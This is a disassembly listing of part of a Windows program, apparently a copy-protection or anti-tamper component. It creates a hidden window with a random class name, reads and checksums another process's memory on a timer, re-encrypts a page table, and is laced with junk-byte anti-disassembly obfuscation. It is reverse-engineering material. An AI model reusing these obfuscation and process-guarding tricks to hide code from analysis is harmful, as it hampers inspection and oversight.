lea edx, [ebp+var_14C]
mov [ebp+var_20], edx
loc_4B7A57: ; CODE XREF: sub_4B78A3+2D8j
mov eax, [ebp+var_150]
mov ecx, [ebp+var_150]
sub ecx, 1
mov [ebp+var_150], ecx
test eax, eax
jbe loc_4B7B80
mov [ebp+var_1A0], 34h
mov eax, [ebp+var_154]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_194], eax
mov eax, [ebp+var_154]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_190], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_19C], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_198], edx
mov ecx, [ebp+var_190]
imul ecx, [ebp+var_198]
mov edx, [ebp+var_194]
imul edx, [ebp+var_198]
mov eax, [ebp+var_190]
imul eax, [ebp+var_19C]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp+var_154], edx
mov eax, [ebp+var_154]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp+var_1A0]
xor edx, edx
mov ecx, 2710h
div ecx
mov [ebp+var_158], eax
cmp [ebp+var_158], 1Ah
sbb dl, dl
and dl, 20h
add dl, 41h
movsx ecx, dl
mov eax, [ebp+var_158]
xor edx, edx
mov esi, 1Ah
div esi
add ecx, edx
mov edx, [ebp+var_20]
mov [edx], cl
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
jmp loc_4B7A57
; ---------------------------------------------------------------------------
loc_4B7B80: ; CODE XREF: sub_4B78A3+1CBj
mov ecx, [ebp+var_20]
mov byte ptr [ecx], 0
push 28h ; Size
push 0 ; Val
lea edx, [ebp+Dst]
push edx ; Dst
call _memset_0
add esp, 0Ch
mov [ebp+var_48], offset loc_4B7CAA
push 0
call dword_4ED050 ; GetModuleHandleA
mov [ebp+var_3C], eax
lea eax, [ebp+var_14C]
mov [ebp+var_28], eax
lea ecx, [ebp+Dst]
push ecx
call dword_4ED24C ; RegisterClassA
push 0
push 0
call dword_4ED050 ; GetModuleHandleA
push eax
push 0
push 0
push 80000000h
push 80000000h
push 80000000h
push 80000000h
push 0CF0000h
push 0
lea edx, [ebp+var_14C]
push edx
push 0
call dword_4ED250 ; CreateWindowExA
mov [ebp+var_1C], eax
push 0
push 2710h
push 1
mov eax, [ebp+var_1C]
push eax
call dword_4ED200 ; SetTimer
mov [ebp+var_4], 0
loc_4B7C11: ; CODE XREF: sub_4B78A3+3B4j
mov ecx, [ebp+var_24]
push ecx
call sub_4B7C87
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_4B7C59
push 0
push 0
push 0
lea edx, [ebp+var_174]
push edx
call dword_4ED1E8 ; GetMessageA
test eax, eax
jle short loc_4B7C59
lea eax, [ebp+var_174]
push eax
call dword_4ED260 ; TranslateMessage
lea ecx, [ebp+var_174]
push ecx
call dword_4ED264 ; DispatchMessageA
jmp short loc_4B7C11
; ---------------------------------------------------------------------------
loc_4B7C59: ; CODE XREF: sub_4B78A3+381j
; sub_4B78A3+398j
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4B7C72
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 0FFFFFFFFh
loc_4B7C72: ; CODE XREF: sub_4B78A3+3BDj
xor eax, eax
loc_4B7C74: ; CODE XREF: sub_4B78A3+8Dj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_4B78A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B7C87 proc near ; CODE XREF: sub_4B78A3+42p
; sub_4B78A3+7Ap ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push offset dword_4F473C
mov eax, [ebp+arg_0]
push eax
call dword_4ED0CC ; GetExitCodeProcess
xor eax, eax
cmp dword_4F473C, 103h
setz al
pop ebp
retn
sub_4B7C87 endp
; ---------------------------------------------------------------------------
loc_4B7CAA: ; DATA XREF: sub_4B78A3+2F3o
push ebp
mov ebp, esp
mov eax, 1080h
call __alloca_probe_0
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 11h
jnz short loc_4B7D11
xor eax, eax
mov al, byte_4F4780
test eax, eax
jz short loc_4B7D07
push 1
push offset aShutdown ; "Shutdown"
mov ecx, [ebp+8]
push ecx
call dword_4ED1DC ; SetPropA
push 0
push offset sub_4B82D2
mov edx, dword_4F4750
mov eax, [edx+0Ch]
push eax
call dword_4ED1E0 ; EnumThreadWindows
push offset aShutdown ; "Shutdown"
mov ecx, [ebp+8]
push ecx
call dword_4ED1E4 ; GetPropA
jmp loc_4B82C9
; ---------------------------------------------------------------------------
loc_4B7D07: ; CODE XREF: .text:004B7CC9j
mov eax, 1
jmp loc_4B82C9
; ---------------------------------------------------------------------------
loc_4B7D11: ; CODE XREF: .text:004B7CBEj
cmp dword ptr [ebp+0Ch], 16h
jnz short loc_4B7D58
xor edx, edx
mov dl, byte_4F4780
test edx, edx
jz short loc_4B7D4E
mov eax, [ebp+10h]
mov [ebp-8], eax
mov ecx, [ebp+14h]
mov [ebp-4], ecx
lea edx, [ebp-8]
push edx
push offset sub_4B8307
mov eax, dword_4F4750
mov ecx, [eax+0Ch]
push ecx
call dword_4ED1E0 ; EnumThreadWindows
xor eax, eax
jmp loc_4B82C9
; ---------------------------------------------------------------------------
loc_4B7D4E: ; CODE XREF: .text:004B7D21j
mov eax, 1
jmp loc_4B82C9
; ---------------------------------------------------------------------------
loc_4B7D58: ; CODE XREF: .text:004B7D15j
cmp dword ptr [ebp+0Ch], 113h
jnz loc_4B82B3
mov edx, dword_4ED3B0
xor edx, dword_4ED3FC
xor edx, dword_4ED3F0
and edx, 8
test edx, edx
jz loc_4B82AC
push offset dword_4F45B0
call dword_4ED1A8 ; RtlEnterCriticalSection
mov byte ptr [ebp-14h], 1
mov dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-10h], 0
jmp short loc_4B7DAA
; ---------------------------------------------------------------------------
loc_4B7DA1: ; CODE XREF: .text:loc_4B7EA4j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_4B7DAA: ; CODE XREF: .text:004B7D9Fj
mov ecx, [ebp-10h]
cmp ecx, dword_4F4768
jge loc_4B7EA9
mov edx, [ebp-10h]
shl edx, 0Ch
mov eax, dword_4F4754
add eax, edx
mov [ebp-1Ch], eax
mov ecx, [ebp-10h]
mov edx, dword_4F4774
mov eax, [edx+ecx*4]
and eax, 1
loc_4B7DD8: ; CODE XREF: .text:004B7E46j
test eax, eax
jz loc_4B7EA4
mov ecx, [ebp-10h]
mov edx, dword_4F4774
mov eax, [edx+ecx*4]
and eax, 4
test eax, eax
jz loc_4B7EA4
lea ecx, [ebp-18h]
push ecx
push 1000h
lea edx, [ebp-101Ch]
push edx
mov eax, [ebp-1Ch]
push eax
mov ecx, dword_4F4750
mov edx, [ecx]
push edx
call dword_4ED0D0 ; ReadProcessMemory
test eax, eax
jz loc_4B7EA4
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B7E62 ; CODE XREF: .text:loc_4B7E62j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B7E3A: ; CODE XREF: .text:004B7E5Bj
jmp short loc_4B7E59
; ---------------------------------------------------------------------------
loc_4B7E3C: ; CODE XREF: .text:loc_4B7E59j
xor ecx, ecx
loc_4B7E3E: ; CODE XREF: .text:004B7E4Dj
jz short $+2
jmp short loc_4B7E52
; ---------------------------------------------------------------------------
loc_4B7E42: ; CODE XREF: .text:004B7E56j
stc
xor ecx, 3
jz short loc_4B7DD8
jmp short loc_4B7E4F
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B7E4B: ; CODE XREF: .text:loc_4B7E4Fj
jmp short loc_4B7E5D
; ---------------------------------------------------------------------------
jz short loc_4B7E3E
loc_4B7E4F: ; CODE XREF: .text:004B7E48j
jnb short loc_4B7E4B
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B7E52: ; CODE XREF: .text:004B7E40j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B7E42
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B7E59: ; CODE XREF: .text:loc_4B7E3Aj
jmp short loc_4B7E3C
; ---------------------------------------------------------------------------
jmp short loc_4B7E3A
; ---------------------------------------------------------------------------
loc_4B7E5D: ; CODE XREF: .text:loc_4B7E4Bj
repne sbb al, 0DBh
jmp short loc_4B7E65
; ---------------------------------------------------------------------------
loc_4B7E62: ; CODE XREF: .text:004B7E35j
jmp short near ptr loc_4B7E35+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B7E65: ; CODE XREF: .text:004B7E60j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
push 0FFFFFFFFh
push 1000h
lea ecx, [ebp-101Ch]
push ecx
call sub_490FB0
add esp, 0Ch
mov edx, [ebp-10h]
mov ecx, dword_4F4778
cmp eax, [ecx+edx*4]
jz short loc_4B7E99
mov byte ptr [ebp-14h], 0
jmp short loc_4B7EA4
; ---------------------------------------------------------------------------
loc_4B7E99: ; CODE XREF: .text:004B7E91j
call dword_4ED03C ; GetTickCount
mov dword_4F4760, eax
loc_4B7EA4: ; CODE XREF: .text:004B7DDAj
; .text:004B7DF1j ...
jmp loc_4B7DA1
; ---------------------------------------------------------------------------
loc_4B7EA9: ; CODE XREF: .text:004B7DB3j
cmp dword ptr [ebp-0Ch], 0
jnz short loc_4B7EBA
call dword_4ED03C ; GetTickCount
mov dword_4F4760, eax
loc_4B7EBA: ; CODE XREF: .text:004B7EADj
mov edx, [ebp-14h]
and edx, 0FFh
test edx, edx
jnz loc_4B82A1
mov dword ptr [ebp-1020h], 0
jmp short loc_4B7EE6
; ---------------------------------------------------------------------------
loc_4B7ED7: ; CODE XREF: .text:004B829Cj
mov eax, [ebp-1020h]
add eax, 1
mov [ebp-1020h], eax
loc_4B7EE6: ; CODE XREF: .text:004B7ED5j
mov ecx, [ebp-1020h]
cmp ecx, dword_4F4768
jge loc_4B82A1
mov dword ptr [ebp-1044h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1038h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1034h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1040h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-103Ch], edx
mov ecx, [ebp-1034h]
imul ecx, [ebp-103Ch]
mov edx, [ebp-1038h]
imul edx, [ebp-103Ch]
mov eax, [ebp-1034h]
imul eax, [ebp-1040h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1044h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1030h], eax
mov dword ptr [ebp-1058h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-104Ch], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1048h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1054h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1050h], edx
mov ecx, [ebp-1048h]
imul ecx, [ebp-1050h]
mov edx, [ebp-104Ch]
imul edx, [ebp-1050h]
mov eax, [ebp-1048h]
imul eax, [ebp-1054h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1058h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1024h], eax
mov dword ptr [ebp-106Ch], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1060h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-105Ch], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1068h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1064h], edx
mov ecx, [ebp-105Ch]
imul ecx, [ebp-1064h]
mov edx, [ebp-1060h]
imul edx, [ebp-1064h]
mov eax, [ebp-105Ch]
imul eax, [ebp-1068h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-106Ch]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1028h], eax
mov dword ptr [ebp-1080h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1074h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1070h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-107Ch], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1078h], edx
mov ecx, [ebp-1070h]
imul ecx, [ebp-1078h]
mov edx, [ebp-1074h]
imul edx, [ebp-1078h]
mov eax, [ebp-1070h]
imul eax, [ebp-107Ch]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1080h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-102Ch], eax
mov edx, [ebp-1028h]
shl edx, 8
mov eax, [ebp-1024h]
shl eax, 10h
mov ecx, [ebp-1030h]
shl ecx, 18h
or ecx, eax
or ecx, edx
or ecx, [ebp-102Ch]
mov edx, [ebp-1020h]
mov eax, dword_4F474C
mov edx, [eax+edx*4]
xor edx, ecx
mov eax, [ebp-1020h]
mov ecx, dword_4F474C
mov [ecx+eax*4], edx
jmp loc_4B7ED7
; ---------------------------------------------------------------------------
loc_4B82A1: ; CODE XREF: .text:004B7EC5j
; .text:004B7EF2j
push offset dword_4F45B0
call dword_4ED1AC ; RtlLeaveCriticalSection
loc_4B82AC: ; CODE XREF: .text:004B7D7Cj
mov eax, 1
jmp short loc_4B82C9
; ---------------------------------------------------------------------------
loc_4B82B3: ; CODE XREF: .text:004B7D5Fj
mov edx, [ebp+14h]
push edx
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call dword_4ED23C ; DefWindowProcA
loc_4B82C9: ; CODE XREF: .text:004B7D02j
; .text:004B7D0Cj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B82D2 proc near ; DATA XREF: .text:004B7CDEo
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
push 11h
mov eax, [ebp+arg_0]
push eax
call dword_4ED25C ; SendMessageA
test eax, eax
jnz short loc_4B82FE ; CODE XREF: .text:loc_4B835Fj
push 0
push offset aShutdown ; "Shutdown"
mov ecx, [ebp+arg_0]
push ecx
call dword_4ED1DC ; SetPropA
xor eax, eax
jmp short loc_4B8303
; ---------------------------------------------------------------------------
loc_4B82FE: ; CODE XREF: sub_4B82D2+15j
mov eax, 1
loc_4B8303: ; CODE XREF: sub_4B82D2+2Aj
pop ebp
retn 8
sub_4B82D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B8307 proc near ; DATA XREF: .text:004B7D33o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax]
push ecx
push 16h
mov edx, [ebp+arg_0]
push edx
call dword_4ED25C ; SendMessageA
mov eax, 1
mov esp, ebp
pop ebp
retn 8
sub_4B8307 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 118h
push ebx
push esi
push edi
pusha
xor eax, eax
jnz short loc_4B8348
jmp short loc_4B835D
; ---------------------------------------------------------------------------
loc_4B8348: ; CODE XREF: .text:004B8344j
jmp short loc_4B837D
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4B834F: ; CODE XREF: .text:loc_4B835Dj
jo short loc_4B835F
jmp short near ptr loc_4B835F+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4B835D: ; CODE XREF: .text:004B8346j
jz short loc_4B834F
loc_4B835F: ; CODE XREF: .text:loc_4B834Fj
; .text:004B8351j
jmp short near ptr loc_4B82E7+1
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 0C76133A0h, 0DC60F845h, 45C7004Eh, 4EDC54FCh, 0F445C700h
dd 0
db 0EBh
; ---------------------------------------------------------------------------
loc_4B837D: ; CODE XREF: .text:loc_4B8348j
or [ebx-3F7C0BBBh], ecx
add [ecx+7D83F445h], ecx
hlt
; ---------------------------------------------------------------------------
dw 0F02h
dd 1408Dh, 7C077000h, 0E805EB03h, 0F9EBFB74h, 0FEEC8D8Dh
dd 4D89FFFFh, 0F4558BECh, 0F895448Bh, 0B9F04589h, 1, 3074C985h
dd 0FF0558Bh, 0D33502BEh, 8B000000h, 188EC4Dh, 0FEC558Bh
dd 0C08502BEh, 14EB0275h, 83EC4D8Bh, 4D8901C1h, 0F0558BECh
dd 8901C283h, 0C7EBF055h, 0FEEC858Dh, 6A50FFFFh, 0FF006A00h
dd 4ED0A415h, 0E8858900h, 83FFFFFEh, 0FFFEE8BDh, 1A7400FFh
dd 37C0770h, 74E805EBh, 8BF9EBFBh, 0FFFEE88Dh, 15FF51FFh
dd 4ED0E8h, 0F5166EBh, 50D1F7C9h, 6DB8D0F7h, 916C6569h
dd 0ADC0DEB9h, 0D0F791DEh, 59D1F758h, 0DB33609Ch, 22EB0374h
dd 74DB33EBh, 0B80DEB00h, 87B90FEBh, 9034F9C9h, 0EB0574F9h
dd 0F274C033h, 40C987B8h, 75C08548h, 9D61E9DDh, 92669266h
dd 15FFC08Bh, 4ED078h, 7506F883h, 7C07700Fh, 0E805EB03h
dd 0F9EBFB74h, 4BEB01B0h, 0FD0F750h, 7358C8h, 2BEB609Ch
dd 0EB0E70D2h, 74C9331Dh, 0F910EB00h, 7403F183h, 0B905EB90h
dd 0EF7410EBh, 1AF2FA73h, 0EBDB33DBh, 0E1EBE9EAh, 1CF2DDEBh
dd 0EB03EBDBh, 9D61B8D2h, 2 dup(0D1F7C80Fh), 0FFFEADE9h
dd 5FC032FFh, 0E58B5B5Eh
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4B84DA: ; CODE XREF: .text:004B5D4Ap
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4F1F98
push offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
mov eax, 1A94h
call __alloca_probe_0
push ebx
push esi
push edi
mov [ebp-18h], esp
mov dword ptr [ebp-2Ch], 0
push 3
push 0
call sub_4BE373
add esp, 8
push offset aKernel32_dll_0 ; "kernel32.dll"
call dword_4ED07C ; LoadLibraryA
mov [ebp-28h], eax
push offset aSetprocessshut ; "SetProcessShutdownParameters"
mov eax, [ebp-28h]
push eax
call dword_4ED074 ; GetProcAddress
mov [ebp-0ECh], eax
cmp dword ptr [ebp-0ECh], 0
jz short loc_4B8556
push 1
push 100h
call dword ptr [ebp-0ECh]
loc_4B8556: ; CODE XREF: .text:004B8547j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B8579
loc_4B8576: ; CODE XREF: .text:004B8597j
jmp short near ptr loc_4B8599+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B8579: ; CODE XREF: .text:004B8574j
xor ebx, ebx
jz short $+2
jmp short loc_4B858C
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B8582: ; CODE XREF: .text:004B858Ej
mov ecx, 34F9C987h
nop
stc
jz short loc_4B8590
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B858C: ; CODE XREF: .text:004B857Dj
xor eax, eax
jz short loc_4B8582
loc_4B8590: ; CODE XREF: .text:004B8589j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B8576
loc_4B8599: ; CODE XREF: .text:loc_4B8576j
jmp near ptr 92B222FFh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov dword ptr [ebp-0E0h], 94h
lea ecx, [ebp-0E0h]
push ecx
call dword_4ED1B0 ; GetVersionExA
jo short loc_4B85C2
jl short loc_4B85C0
loc_4B85BD: ; CODE XREF: .text:loc_4B85C0j
; .text:loc_4B85C2j
jmp short loc_4B85C4
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B85C0: ; CODE XREF: .text:004B85BBj
jz short loc_4B85BD
loc_4B85C2: ; CODE XREF: .text:004B85B9j
jmp short loc_4B85BD
; ---------------------------------------------------------------------------
loc_4B85C4: ; CODE XREF: .text:loc_4B85BDj
; .text:loc_4B8641j
cmp dword ptr [ebp-0D0h], 2
jnz short loc_4B85D6
mov byte_4F4780, 1
jmp short loc_4B85F2
; ---------------------------------------------------------------------------
loc_4B85D6: ; CODE XREF: .text:004B85CBj
cmp dword ptr [ebp-0DCh], 4
jnz short loc_4B85ED
cmp dword ptr [ebp-0D8h], 5Ah
jb short loc_4B85ED
call sub_4BDFA4
loc_4B85ED: ; CODE XREF: .text:004B85DDj
; .text:004B85E6j
call sub_4BE07A
loc_4B85F2: ; CODE XREF: .text:004B85D4j
xor edx, edx
mov dl, byte_4F4780 ; CODE XREF: .text:004B8664j
test edx, edx
jnz short loc_4B8604
cli
not esp
not esp
sti
loc_4B8604: ; CODE XREF: .text:004B85FCj
mov eax, dword_4ED3B0
xor eax, dword_4ED3FC
xor eax, dword_4ED3F0
and eax, 4
test eax, eax
jz short loc_4B8623
mov byte_4F4741, 1
loc_4B8623: ; CODE XREF: .text:004B861Aj
pusha
xor eax, eax
jnz short loc_4B862A
jmp short loc_4B863F
; ---------------------------------------------------------------------------
loc_4B862A: ; CODE XREF: .text:004B8626j
jmp short loc_4B865F
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4B8631: ; CODE XREF: .text:loc_4B863Fj
jo short loc_4B8641
jmp short near ptr loc_4B8641+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4B863F: ; CODE XREF: .text:004B8628j
jz short loc_4B8631
loc_4B8641: ; CODE XREF: .text:loc_4B8631j
; .text:004B8633j
jmp short near ptr loc_4B85C4+6
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:0F7506133h
ror byte ptr [edi], 1
enter 7358h, 0
pushf
pusha
jmp short loc_4B8680 ; CODE XREF: .text:loc_4B8680j
; ---------------------------------------------------------------------------
db 0D2h, 70h
; ---------------------------------------------------------------------------
loc_4B8657: ; CODE XREF: .text:loc_4B86CEj
push cs
loc_4B8658: ; CODE XREF: .text:004B8679j
jmp short loc_4B8677
; ---------------------------------------------------------------------------
loc_4B865A: ; CODE XREF: .text:loc_4B8677j
xor ecx, ecx
loc_4B865C: ; CODE XREF: .text:004B866Bj
jz short $+2
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B865F: ; CODE XREF: .text:loc_4B862Aj
; .text:004B8674j
adc cl, bh
xor ecx, 3
jz short near ptr loc_4B85F4+2
jmp short loc_4B866D
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B8669: ; CODE XREF: .text:loc_4B866Dj
jmp short loc_4B867B
; ---------------------------------------------------------------------------
jz short loc_4B865C
loc_4B866D: ; CODE XREF: .text:004B8666j
jnb short loc_4B8669
repne sbb bl, bl
xor ebx, ebx
jmp short near ptr loc_4B865F+1
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B8677: ; CODE XREF: .text:loc_4B8658j
jmp short loc_4B865A
; ---------------------------------------------------------------------------
jmp short loc_4B8658
; ---------------------------------------------------------------------------
loc_4B867B: ; CODE XREF: .text:loc_4B8669j
repne sbb al, 0DBh
jmp short loc_4B8683
; ---------------------------------------------------------------------------
loc_4B8680: ; CODE XREF: .text:004B8653j
jmp short near ptr loc_4B8653+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B8683: ; CODE XREF: .text:004B867Ej
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3FC
xor ecx, dword_4ED3F0
and ecx, 200h
test ecx, ecx
jz short loc_4B86B0
mov byte_4F4743, 1
loc_4B86B0: ; CODE XREF: .text:004B86A7j
pusha
xor eax, eax
jnz short loc_4B86B7
jmp short loc_4B86CC
; ---------------------------------------------------------------------------
loc_4B86B7: ; CODE XREF: .text:004B86B3j
jmp short loc_4B86EC
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4B86BE: ; CODE XREF: .text:loc_4B86CCj
jo short loc_4B86CE
jmp short near ptr loc_4B86CE+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4B86CC: ; CODE XREF: .text:004B86B5j
jz short loc_4B86BE
loc_4B86CE: ; CODE XREF: .text:loc_4B86BEj
; .text:004B86C0j
jmp short loc_4B8657
; ---------------------------------------------------------------------------
dd 0A0F07ADBh, 6A6133h, 0D05015FFh, 158B004Eh, 4ED3C0h
dd 0D3FC1533h, 1533004Eh
; ---------------------------------------------------------------------------
loc_4B86EC: ; CODE XREF: .text:loc_4B86B7j
and ah, dl
dec esi
add [ebx], al
retn 54A3h
; ---------------------------------------------------------------------------
inc edi
dec edi
add [ecx+0Fh], dl
leave
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B871A
loc_4B8717: ; CODE XREF: .text:004B8738j
jmp short near ptr loc_4B873A+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B871A: ; CODE XREF: .text:004B8715j
xor ebx, ebx
jz short $+2
jmp short loc_4B872D
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B8723: ; CODE XREF: .text:004B872Fj
mov ecx, 34F9C987h
nop
stc
jz short loc_4B8731
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B872D: ; CODE XREF: .text:004B871Ej
xor eax, eax
jz short loc_4B8723
loc_4B8731: ; CODE XREF: .text:004B872Aj
mov eax, 4840C987h
test eax, eax
jnz short loc_4B8717
loc_4B873A: ; CODE XREF: .text:loc_4B8717j
jmp near ptr 92B224A0h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, dword_4ED3C4
xor eax, dword_4ED41C
xor eax, dword_4ED3F0
add eax, 0FFFh
shr eax, 0Ch
mov dword_4F4768, eax
jo short loc_4B876A
jl short loc_4B8768
loc_4B8765: ; CODE XREF: .text:loc_4B8768j
; .text:loc_4B876Aj
jmp short loc_4B876C
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B8768: ; CODE XREF: .text:004B8763j
jz short loc_4B8765
loc_4B876A: ; CODE XREF: .text:004B8761j
jmp short loc_4B8765
; ---------------------------------------------------------------------------
